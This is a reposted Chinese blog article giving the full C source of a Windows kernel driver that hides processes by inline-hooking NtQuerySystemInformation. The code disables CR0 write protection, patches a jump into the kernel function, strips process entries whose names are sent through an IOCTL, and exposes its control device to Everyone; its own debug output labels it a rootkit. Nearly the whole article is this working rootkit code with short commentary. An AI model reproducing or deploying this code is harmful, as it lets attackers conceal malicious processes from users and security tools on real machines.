生活随笔
收集整理的這篇文章主要介紹了
内核层 inlinehook 隐藏进程
小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
?上次是SSDT??HOOK 方式 隱藏 進(jìn)程 ，如鏈接：http://blog.csdn.net/hjxyshell/article/details/16993119
這次是InlineHook 方式隱藏進(jìn)程，這里inline hook的原理就不做詳細(xì)介紹了，網(wǎng)上相關(guān)資源較多，擼主主要參考看雪的某大牛的“詳談內(nèi)核三步走Inline Hook實(shí)現(xiàn)”（http://bbs.pediy.com/showthread.php?t=98493）
中間有一些關(guān)于進(jìn)程的枚舉的處理，上次寫了個(gè)簡單的代碼：http://blog.csdn.net/hjxyshell/article/details/17312119
代碼如下：
?
[cpp]?view plaincopy
#include?<ntddk.h>?? #include?<Wdmsec.h>???? #include?<Wdm.h>???? ?? ?? #define?MY_DVC_IN_CODE?\?? ????????(ULONG)CTL_CODE(FILE_DEVICE_UNKNOWN,\?? ????????????????0xa02,\?? ????????????????METHOD_BUFFERED,\?? ????????????????FILE_READ_DATA|FILE_WRITE_DATA)?? ?? ?? ?? typedef?struct?_ProcNameLink???? {???? ????UNICODE_STRING?ProcName;???? ????struct?_ProcNameLink?*pNext;???? }ProcNameLink,*pProcNameLink;?? ?? pProcNameLink?pProcNameHeader;???? pProcNameLink?pProcNameTail;????? ?? typedef?unsigned?char?BYTE;?? ULONG??CR0VALUE;????????????????????????? BYTE??OriginalBytes[5]={0};??????????????? BYTE?JmpAddress[5]={0xE9,0,0,0,0};????????? ?? ?? struct?_SYSTEM_THREADS???? {???? ????????LARGE_INTEGER???????????KernelTime;???? ????????LARGE_INTEGER???????????UserTime;???? ????????LARGE_INTEGER???????????CreateTime;???? ????????ULONG???????????????????????????WaitTime;???? ????????PVOID???????????????????????????StartAddress;???? ????????CLIENT_ID???????????????????????ClientIs;???? ????????KPRIORITY???????????????????????Priority;???? ????????KPRIORITY???????????????????????BasePriority;???? ????????ULONG???????????????????????????ContextSwitchCount;???? ????????ULONG???????????????????????????ThreadState;???? ????????KWAIT_REASON????????????WaitReason;???? };???? ?? struct?_SYSTEM_PROCESSES???? {???? ????????ULONG???????????????????????????NextEntryDelta;???? ????????ULONG???????????????????????????ThreadCount;???? ????????ULONG???????????????????????????Reserved[6];???? ????????LARGE_INTEGER???????????????????CreateTime;???? ????????LARGE_INTEGER???????????????????UserTime;???? ????????LARGE_INTEGER???????????????????KernelTime;???? ????????UNICODE_STRING??????????????????ProcessName;???? ????????KPRIORITY???????????????????????BasePriority;???? ????????ULONG???????????????????????????ProcessId;???? ????????ULONG???????????????????????????InheritedFromProcessId;???? ????????ULONG???????????????????????????HandleCount;???? ????????ULONG???????????????????????????Reserved2[2];???? ????????VM_COUNTERS?????????????????????VmCounters;???? ????????IO_COUNTERS?????????????????????IoCounters;??? ????????struct?_SYSTEM_THREADS??????????Threads[1];???? };???? ?? ?? NTSYSAPI???? NTSTATUS???? NTAPI?NtQuerySystemInformation(???? ????????????????????????IN?ULONG?SystemInformationClass,???? ????????????????????????OUT?PVOID?SystemInformation,???? ????????????????????????IN?ULONG?SystemInformationLength,???? ????????????????????????OUT?PULONG?ReturnLength???? ????????????????????????????);?? NTSTATUS?? MyNtQuerySystemInformation(?? ????????????????????????IN?ULONG?SystemInformationClass,?? ????????????????????????OUT?PVOID?SystemInformation,?? ????????????????????????IN?ULONG?SystemInformationLength,?? ????????????????????????OUT?PULONG?ReturnLength?? ????????????????????????????);?? ?? ?? void?HookNtQuerySystemInformation(?? ?????????????????????? ?????????????????????? ?????????????????????? ?????????????????????? ????????????????????????????????)?? {?? ?????? ????KIRQL?Irql;?? ????DbgPrint("[NtQuerySystemInformation]:?0x%x",NtQuerySystemInformation);?? ?????? ????RtlCopyMemory(OriginalBytes,(BYTE*)NtQuerySystemInformation,5);?? ?????? ????*(ULONG*)(JmpAddress?+?1)?=?(ULONG)MyNtQuerySystemInformation?-?((ULONG)NtQuerySystemInformation+5);?? ?????? ?????? ????__asm?? ????{?? ?????? ????push?eax?? ????mov?eax,cr0?? ????mov?CR0VALUE,eax?? ????and?eax,0fffeffffh?? ????mov?cr0,eax?? ????pop?eax?? ????}?? ?????? ????Irql?=?KeRaiseIrqlToDpcLevel();?? ?????? ????RtlCopyMemory((BYTE*)NtQuerySystemInformation,JmpAddress,5);?? ?????? ????KeLowerIrql(Irql);?? ?????? ????__asm?? ????{?? ????push?eax?? ????mov?eax,CR0VALUE?? ????mov?cr0,eax?? ????pop?eax?? ????}?? ?????? }?? ?? void?UnHookNtQuerySystemInformation(?? ?????????????????????? ?????????????????????? ?????????????????????? ?????????????????????? ????????????????????????????????)?? {?? ?????? ????KIRQL?Irql;?? ?????? ????__asm?? ????{?? ????????push?eax?? ????????mov?eax,cr0?? ????????mov?CR0VALUE,eax?? ????????and?eax,0fffeffffh?? ????????mov?cr0,eax?? ????????pop?eax?? ????}?? ?????? ????Irql?=?KeRaiseIrqlToDpcLevel();?? ????RtlCopyMemory((BYTE*)NtQuerySystemInformation,OriginalBytes,5);?? ????KeLowerIrql(Irql);?? ?????? ????__asm?? ????{?? ????push?eax?? ????mov?eax,CR0VALUE?? ????mov?cr0,eax?? ????pop?eax?? ????}?? }?? ?? _declspec?(naked)?NTSTATUS?OriginalNtQuerySystemInformation(?? ????????????????????????????????????????IN?ULONG?SystemInformationClass,?? ????????????????????????????????????????OUT?PVOID?SystemInfotmation,?? ????????????????????????????????????????IN?ULONG?SystemInformatonLength,?? ????????????????????????????????????????OUT?PULONG?ReturnLength?? ????????????????????????????????????????????????????????????)?? {?? ????__asm{?? ???????? ?????????? ?????????? ????????push?210h?? ????????mov?eax,NtQuerySystemInformation?? ????????add?eax,5?? ????????jmp?eax?? ????????}????????? }?? ?? ?? NTSTATUS?? MyNtQuerySystemInformation(?? ????????????????????????IN?ULONG?SystemInformationClass,?? ????????????????????????OUT?PVOID?SystemInformation,?? ????????????????????????IN?ULONG?SystemInformationLength,?? ????????????????????????OUT?PULONG?ReturnLength?? ????????????????????????????)?? {?? ????????NTSTATUS?ntStatus;?? ????????pProcNameLink?pTempLink;???? ?????????? ?????????? ????????ntStatus?=?OriginalNtQuerySystemInformation(?? ????????????????????????????????????????????SystemInformationClass,?? ????????????????????????????????????????????SystemInformation,?? ????????????????????????????????????????????SystemInformationLength,?? ????????????????????????????????????????????ReturnLength?? ????????????????????????????????????????????????????);?? ????????if(NT_SUCCESS(ntStatus))?? ????????{?? ????????????if(SystemInformationClass?==?5)?? ????????????{?? ?????????????????? ????????????????for((pTempLink?=?pProcNameHeader->pNext)&&(pTempLink?!=?NULL);pTempLink?!=NULL;)?? ????????????????{?? ?????????????????????? ????????????????????struct?_SYSTEM_PROCESSES?*curr?=?(struct?_SYSTEM_PROCESSES?*)SystemInformation;?? ????????????????????struct?_SYSTEM_PROCESSES?*prev?=?NULL;?? ????????????????????while(curr)?? ????????????????????{?? ????????????????????????if(curr->ProcessName.Buffer?!=?NULL)?? ????????????????????????{?? ????????????????????????????if(0?==?memcmp(curr->ProcessName.Buffer,pTempLink->ProcName.Buffer,16))??? ????????????????????????????{?? ?????????????????????????????????? ????????????????????????????????if(prev)??? ????????????????????????????????{?? ????????????????????????????????????if(curr->NextEntryDelta)???? ????????????????????????????????????????prev->NextEntryDelta?+=?curr->NextEntryDelta;???? ????????????????????????????????????else?????? ????????????????????????????????????????prev->NextEntryDelta?=?0;???? ????????????????????????????????}?? ????????????????????????????????else???? ????????????????????????????????{???? ????????????????????????????????????if(curr->NextEntryDelta)???? ????????????????????????????????????{???? ?????????????????????????????????????????? ????????????????????????????????????????(char?*)SystemInformation?+=?curr->NextEntryDelta;???? ????????????????????????????????????}???? ????????????????????????????????????else??? ????????????????????????????????????????SystemInformation?=?NULL;???? ????????????????????????????????}???? ????????????????????????????}?? ????????????????????????}?? ????????????????????????prev?=?curr;???? ????????????????????????if(curr->NextEntryDelta)????? ????????????????????????????(char?*)curr?+=?curr->NextEntryDelta;???? ????????????????????????else????? ????????????????????????????curr?=?NULL;?????????????????????? ????????????????????}?? ?????????????????pTempLink?=?pTempLink->pNext;?? ????????????????}????? ????????????}?? ????????}????????????????????????????????? ????return?ntStatus;?? ?????? }?? ?? VOID?AddProcToLink(PUNICODE_STRING?ProcName)???? {???? ?????? ????pProcNameLink?pNewLink?=?(pProcNameLink)ExAllocatePool(NonPagedPool,?sizeof(ProcNameLink));???? ????(pNewLink->ProcName).Length?=?0;???? ????(pNewLink->ProcName).MaximumLength?=?256;???? ????(pNewLink->ProcName).Buffer?=?(PWCHAR)ExAllocatePool(NonPagedPool,?256);???? ???????? ????RtlCopyUnicodeString(&(pNewLink->ProcName),ProcName);???? ????pNewLink->pNext?=?NULL;???? ????pProcNameTail->pNext?=?pNewLink;???? ????pProcNameTail?=?pNewLink;?????? }???? ?? VOID?RmProcFromLink(PUNICODE_STRING?pProcName)???? {???? ????pProcNameLink?pNewLink?=?pProcNameHeader;???? ????if(pProcNameHeader->pNext?==?NULL)???? ????????return;???? ????for(?pNewLink;pNewLink->pNext?!=?NULL;)???? ????{???? ?????????? ????????if(RtlCompareUnicodeString(&(pNewLink->pNext->ProcName),pProcName,TRUE)==0)???? ????????{???? ????????????pNewLink->pNext?=?pNewLink->pNext->pNext;???? ????????????if(pNewLink->pNext?==?NULL)???? ????????????????pProcNameTail?=?pNewLink;???? ????????????break;???? ????????}???? ????????pNewLink?=?pNewLink->pNext;???? ????}???? ???? }???? ?? VOID?OnUnload(IN?PDRIVER_OBJECT?driver)???? {???? ????UNICODE_STRING?symblink_name;???? ????DbgPrint("ROOTKIT:?OnUnload?called\n");???? ????? ????UnHookNtQuerySystemInformation();?? ?????? ????if(IoIsWdmVersionAvailable(1,0x10))???? ????{???? ?????????? ????????RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\Global\\testSL");??????????? ????}???? ????else???? ????{???? ?????????? ????????RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\testSL");???? ????}???? ????IoDeleteSymbolicLink(&symblink_name?);???? ????IoDeleteDevice(driver->DeviceObject);???? ????DbgPrint("our?driver?is?unloading?...?\r\n");???? }???? ?? NTSTATUS?MyDispatchFunction(PDEVICE_OBJECT?device,?PIRP?irp)???? {???? ????CHAR?inBuffer[256];???? ????short?flag?=?1;???? ????ANSI_STRING?ansiBuffer;???? ????UNICODE_STRING?unicodeBuffer;???? ????int?i;???? ?????? ????PIO_STACK_LOCATION?irpsp?=?IoGetCurrentIrpStackLocation(irp);???? ????NTSTATUS?status?=?STATUS_INVALID_PARAMETER;???? ????memset(inBuffer,0,256);???? ?????? ????switch(irpsp->MajorFunction)???? ????{???? ????????case?IRP_MJ_CREATE:???? ????????{???? ?????????????? ????????????irp->IoStatus.Information?=?0;???? ????????????irp->IoStatus.Status?=?STATUS_SUCCESS;???? ????????????IoCompleteRequest(irp,IO_NO_INCREMENT);???? ?????????????? ????????????DbgPrint("congratulations?gay,open?device");???? ????????????status?=?irp->IoStatus.Status;???? ????????????break;???? ????????}???? ????????case?IRP_MJ_CLOSE:???? ????????{???? ????????????irp->IoStatus.Information?=?0;???? ????????????irp->IoStatus.Status?=?STATUS_SUCCESS;???? ????????????IoCompleteRequest(irp,IO_NO_INCREMENT);???? ?????????????? ????????????DbgPrint("congratulations?gay,close?device");???? ????????????status?=?irp->IoStatus.Status;???? ????????????break;???? ????????}???? ????????case?IRP_MJ_DEVICE_CONTROL:???? ????????{???? ?????????????? ????????????ULONG?code?=?irpsp->Parameters.DeviceIoControl.IoControlCode;???? ?????????????? ????????????ULONG?in_len?=?irpsp->Parameters.DeviceIoControl.InputBufferLength;???? ????????????ULONG?out_len?=?irpsp->Parameters.DeviceIoControl.OutputBufferLength;???? ?????????????? ????????????PCHAR?buffer?=?(PCHAR)irp->AssociatedIrp.SystemBuffer;???? ?????????????? ?????????????? ????????????if(buffer[0]?==?'-')???? ????????????????flag?=?0;???? ????????????ansiBuffer.Buffer?=?buffer+1;???? ????????????ansiBuffer.Length?=?ansiBuffer.MaximumLength?=?(USHORT)(in_len?-1);???? ????????????RtlAnsiStringToUnicodeString(&unicodeBuffer,?&ansiBuffer,TRUE);???? ????????????if(flag)???? ????????????????AddProcToLink(&unicodeBuffer);????? ????????????else???? ????????????????RmProcFromLink(&unicodeBuffer);???? ????????????DbgPrint("%ansiBuffer?=?%Z\n",&ansiBuffer);?????? ????????????DbgPrint("unicodeBuffer?=?%wZ\n",&unicodeBuffer);???? ????????????if(code?==?MY_DVC_IN_CODE)???? ????????????{???? ????????????????DbgPrint("in_buffer_len?=?%d",in_len);???? ????????????????DbgPrint("%s",buffer);???? ?????????????????? ?????????????????? ????????????????irp->IoStatus.Information?=?0;???? ????????????????irp->IoStatus.Status?=?STATUS_SUCCESS;???? ????????????}???? ????????????else???? ????????????{???? ?????????????????? ?????????????????? ????????????????irp->IoStatus.Information?=?0;???? ????????????????irp->IoStatus.Status?=?STATUS_INVALID_PARAMETER;???? ????????????}???? ????????????IoCompleteRequest(irp,IO_NO_INCREMENT);???? ????????????status?=?irp->IoStatus.Status;???? ????????????break;???? ????????}???? ????????case?IRP_MJ_READ:???? ????????{???? ????????????break;???? ????????}???? ????????default:???? ????????{???? ????????????DbgPrint("unknow?request!!!");???? ????????????break;???? ????????}???? ????}???? ??????? ????return?status;???? }???? ?? NTSTATUS?DriverEntry(IN?PDRIVER_OBJECT?driver,????? ?????????????????????IN?PUNICODE_STRING?reg_path)??? {?? ????ULONG?i;???? ????NTSTATUS?status;???? ????PDEVICE_OBJECT?device;???? ?????? ????UNICODE_STRING?device_name?=?RTL_CONSTANT_STRING(L"\\Device\\test");???? ?????? ????UNICODE_STRING?symblink_name;???? ?????? ????static?const?GUID?MYGUID_CLASS_MYCDO?=????? ????{?0x63542127,?0xfbbb,?0x49c8,?{?0x8b,?0xf4,?0x8b,?0x7c,?0xb5,?0xef,?0xd3,?0x9e?}?};???? ?? ?? ??????? ?????? ????UNICODE_STRING?sdd1=RTL_CONSTANT_STRING(L"D:P(A;;GA;;;WD)");???? ?????? ????pProcNameHeader?=(pProcNameLink)ExAllocatePool(NonPagedPool,?sizeof(ProcNameLink));???? ????pProcNameHeader->pNext?=?NULL;???? ????pProcNameTail?=?pProcNameHeader;???? ?????? ?????? ?????? ????status?=?IoCreateDeviceSecure(???? ????????????????????????????driver,???? ????????????????????????????0,???? ????????????????????????????&device_name,???? ????????????????????????????FILE_DEVICE_UNKNOWN,???? ????????????????????????????FILE_DEVICE_SECURE_OPEN,???? ????????????????????????????FALSE,???? ????????????????????????????&sdd1,???? ????????????????????????????(LPCGUID)&MYGUID_CLASS_MYCDO,???? ????????????????????????????&device???? ????????????????????????????);???? ????if(!NT_SUCCESS(status))???? ????{???? ????????DbgPrint("IoCreateDeviceSecure?failed?");???? ????????return?status;???? ????}???? ????DbgPrint("good?job1");???? ?????? ????if(IoIsWdmVersionAvailable(1,0x10))???? ????{???? ?????????? ????????RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\Global\\testSL");??????????? ????}???? ????else???? ????{???? ?????????? ????????RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\testSL");???? ????}???? ????status?=?IoCreateSymbolicLink(&symblink_name,&device_name);???? ????if(!NT_SUCCESS(status))???? ????{???? ????????DbgPrint("IoCreateSymbolicLink?failed");???? ????????return?status;???? ????}???? ????DbgPrint("good?job2");???? ?????? ????for(i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++)???? ????{???? ????????driver->MajorFunction[i]?=?MyDispatchFunction;???? ????}???? ????? ????? ??????? ????driver->DriverUnload??=?OnUnload;????? ???????? ??????? ????HookNtQuerySystemInformation();?? ?????????????????????????????????? ???return?STATUS_SUCCESS;?????????????? ??????????????????????? }?? 說明： ? ? _declspec (naked) NTSTATUS OriginalNtQuerySystemInformation??函數(shù)中的寄存器不是隨便使用的，正如代碼中注釋所述一樣，這里使用eax，因?yàn)閑ax的值會(huì)被直接覆蓋，對(duì)后續(xù)程序并無影響 如圖： ?
驅(qū)動(dòng)安裝運(yùn)行后，在查看函數(shù)NtQuerySystemInformation，已經(jīng)被我們掌控
總結(jié)
以上是生活随笔為你收集整理的内核层 inlinehook 隐藏进程的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。
